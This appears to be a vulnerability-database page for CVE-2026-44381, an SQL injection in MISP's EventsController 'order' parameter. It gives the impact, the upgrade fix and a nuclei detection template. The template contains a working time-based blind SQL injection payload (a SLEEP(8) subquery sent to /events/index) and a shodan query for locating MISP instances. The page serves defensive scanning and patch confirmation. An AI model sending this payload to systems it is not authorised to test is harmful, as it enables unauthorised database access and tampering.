HexBrain

Browse / CVEs / CVE-2026-44381

CVE-2026-44381· CWE-89

MISP < 2.5.37 - SQL Injection

mediumseverity
5.3CVSS score
0.7%likelihood of exploitation, next 30 days
52%of all CVEs are less likely
Readycheck to confirm it

MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.

Impact

Attackers can manipulate SQL queries to access or modify unauthorized data, potentially compromising database integrity and confidentiality.

Fix

Upgrade MISP to version 2.5.37 or later.

How to confirm it

Send: GET /users/login
Positive when: contains "MISP"
Send: @timeout: 30s
Positive when: duration >= 8 and status_code == 200 || status_code == 500

Run it with nuclei: nuclei -id CVE-2026-44381 -u <target>

The full check
id: CVE-2026-44381

info:
  name: MISP < 2.5.37 - SQL Injection
  author: malcha
  severity: medium
  description: |
    MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.
  impact: |
    Attackers can manipulate SQL queries to access or modify unauthorized data, potentially compromising database integrity and confidentiality.
  remediation: |
    Upgrade MISP to version 2.5.37 or later.
  reference:
    - https://github.com/MISP/MISP/security/advisories/GHSA-4cxp-22wm-j6jr
    - https://github.com/MISP/MISP/commit/53fc6be7da1c010ca4696a37c6e27bb699377efa
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44381
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-44381
    epss-score: 0.00666
    epss-percentile: 0.52153
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.title:"MISP"
  tags: cve,cve2026,misp,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /users/login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "MISP"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /events/index HTTP/1.1
        Host: {{Hostname}}
        Authorization: {{auth_key}}
        Content-Type: application/json

        {"order":"(SELECT 1 FROM (SELECT(SLEEP(8)))A)"}

    matchers:
      - type: dsl
        dsl:
          - "duration >= 8"
          - "status_code == 200 || status_code == 500"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from